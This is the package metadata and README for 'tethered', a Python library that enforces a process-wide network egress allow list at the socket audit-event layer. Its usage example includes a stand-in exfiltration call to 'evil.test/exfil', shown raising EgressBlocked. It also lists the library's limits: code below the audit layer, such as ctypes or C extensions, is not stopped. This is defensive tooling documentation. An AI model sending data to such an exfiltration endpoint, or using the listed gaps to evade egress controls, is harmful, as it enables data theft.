Metadata-Version: 2.4
Name: tethered
Version: 1.0.1
Summary: Runtime network egress control for Python
Author: Sergii Shcherbak
License-Expression: MIT
Project-URL: Homepage, https://github.com/shcherbak-ai/tethered
Project-URL: Repository, https://github.com/shcherbak-ai/tethered
Project-URL: Issues, https://github.com/shcherbak-ai/tethered/issues
Keywords: security,egress,network,audit,supply-chain
Classifier: Development Status :: 5 - Production/Stable
Classifier: Intended Audience :: Developers
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Programming Language :: Python :: 3.14
Classifier: Programming Language :: Python :: 3.15
Classifier: Operating System :: POSIX :: Linux
Classifier: Operating System :: MacOS
Classifier: Operating System :: Microsoft :: Windows
Classifier: Topic :: Security
Classifier: Topic :: System :: Networking
Classifier: Typing :: Typed
Requires-Python: >=3.11
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

# tethered

Runtime network egress control for Python. One function call sets an allow list for the process, and every connection made through Python's socket layer is checked against it, from inside the process, before the connection is opened. No runtime dependencies and no infrastructure changes.

```bash
uv add tethered
```

Or `pip install tethered`. Python 3.11+ on Linux, macOS and Windows. Wheels are prebuilt; a source install needs a C compiler.

```python
import tethered

tethered.activate(allow=["*.stripe.com", "db.internal"])

import urllib.request
urllib.request.urlopen("https://api.stripe.com/v1/charges")  # allowed: matches *.stripe.com
urllib.request.urlopen("https://evil.test/exfil")            # raises tethered.EgressBlocked
```

- `activate()` sets the ceiling for the whole process. `scope()` narrows a single code path, as a decorator or a `with` block, and never widens the policy.
- Python child processes started with the same interpreter inherit the policy as they start. Every other launch is logged by default and refused with `external_subprocess_policy="block"`.
- With `locked=True`, replacing or switching off the policy takes a token, and tampering with tethered's own code or with the active policy is detected and fails closed.
- It is a guardrail at Python's audit-event layer, not a sandbox. Code that goes below that layer is not stopped: `ctypes`, `cffi`, a C extension, or a library that resolves and connects inside its own C code. Under asyncio it enforces on asyncio's own selector event loop: it refuses to run next to uvloop, and on Windows the default `ProactorEventLoop` gets DNS-time hostname checks only.

Upgrading from 0.5.x? 1.0 refuses to run where 0.5.x went on without enforcing, so a deployment can stop at start-up after the upgrade. Read the [migration guide](https://tethered.shcherbak.ai/migrating-to-v1/) first.

See the [documentation](https://tethered.shcherbak.ai/) for the quick start, what each server and task queue needs, and the API, the [security model](https://tethered.shcherbak.ai/security/) for what tethered does and does not protect against, and the [repository](https://github.com/shcherbak-ai/tethered#readme) for the source.

Licensed under [MIT](https://github.com/shcherbak-ai/tethered/blob/main/LICENSE).
